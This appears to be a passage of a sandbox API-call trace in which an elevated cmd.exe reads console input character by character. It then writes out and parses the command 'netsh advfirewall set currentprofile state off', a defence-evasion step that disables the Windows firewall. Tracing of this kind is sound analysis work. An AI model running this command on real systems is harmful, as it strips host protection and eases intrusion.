lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e33c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0055.863] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.863] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.863] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e33e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0055.863] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.863] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.864] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.864] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e340, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0055.864] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.864] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.864] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.864] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e342, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0055.864] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.864] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.864] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.864] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e344, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0055.864] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.864] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.864] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.864] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e346, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.864] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.864] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.864] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.864] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e348, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0055.864] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.864] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.864] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.864] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e34a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0055.864] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.864] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.864] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.864] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e34c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0055.864] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.864] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.865] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.865] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e34e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0055.865] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.865] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.865] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.865] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e350, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0055.865] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.865] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.865] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.865] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e352, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0055.865] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.865] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.865] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.865] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e354, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.865] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.865] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.865] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.865] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e356, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0055.865] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.865] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.865] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.865] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e358, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0055.865] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.865] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.865] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.865] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e35a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0055.866] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.866] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.866] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.866] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e35c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0055.866] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.866] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.866] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.866] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e35e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0055.866] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.866] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.866] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.866] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e360, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0055.866] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.866] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.866] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.866] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e362, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0055.866] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.866] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.866] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.866] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e364, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0055.866] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.866] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.866] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.866] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e366, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.866] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.866] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.866] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.866] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e368, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0055.867] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.867] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.867] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.867] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e36a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0055.867] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.867] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.867] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.867] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e36c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0055.867] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.867] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.867] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.867] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e36e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0055.867] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.867] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.867] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.867] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e370, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0055.867] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.867] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.867] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.867] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e372, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.867] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.867] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.867] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.867] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e374, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0055.867] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.867] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.867] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.867] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e376, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0055.868] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.868] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.868] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e378, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0055.868] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.868] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.868] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e37a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0055.868] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.868] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.868] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e37c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0055.869] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.869] GetFileType (hFile=0x108) returned 0x3 [0055.869] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.869] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.869] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.869] GetFileType (hFile=0x114) returned 0x3 [0055.869] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0055.869] WriteFile (in: hFile=0x114, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x2ef618, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x2ef618*=0x2f, lpOverlapped=0x0) returned 1 [0055.869] GetProcessHeap () returned 0x4c0000 [0055.869] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4012) returned 0x4dcd20 [0055.869] GetProcessHeap () returned 0x4c0000 [0055.869] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4dcd20 | out: hHeap=0x4c0000) returned 1 [0055.870] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0055.870] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0055.870] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0055.870] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0055.870] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0055.870] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0055.870] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0055.870] GetProcessHeap () returned 0x4c0000 [0055.870] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xb0) returned 0x4d97e0 [0055.870] GetProcessHeap () returned 0x4c0000 [0055.870] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x4d4610 [0056.014] GetProcessHeap () returned 0x4c0000 [0056.014] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x64) returned 0x4d98a0 [0056.015] GetConsoleOutputCP () returned 0x1b5 [0056.015] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a37bfe0 | out: lpCPInfo=0x4a37bfe0) returned 1 [0056.015] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0056.015] GetConsoleTitleW (in: lpConsoleTitle=0x2ef5d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0056.018] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0056.018] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0056.018] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0056.018] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0056.018] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0056.018] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0056.018] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0056.018] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0056.018] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0056.018] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0056.018] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0056.018] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0056.018] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0056.018] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0056.018] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0056.018] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0056.018] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0056.018] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0056.019] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0056.019] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0056.019] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0056.019] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0056.019] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0056.019] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0056.019] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0056.019] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0056.019] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0056.019] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 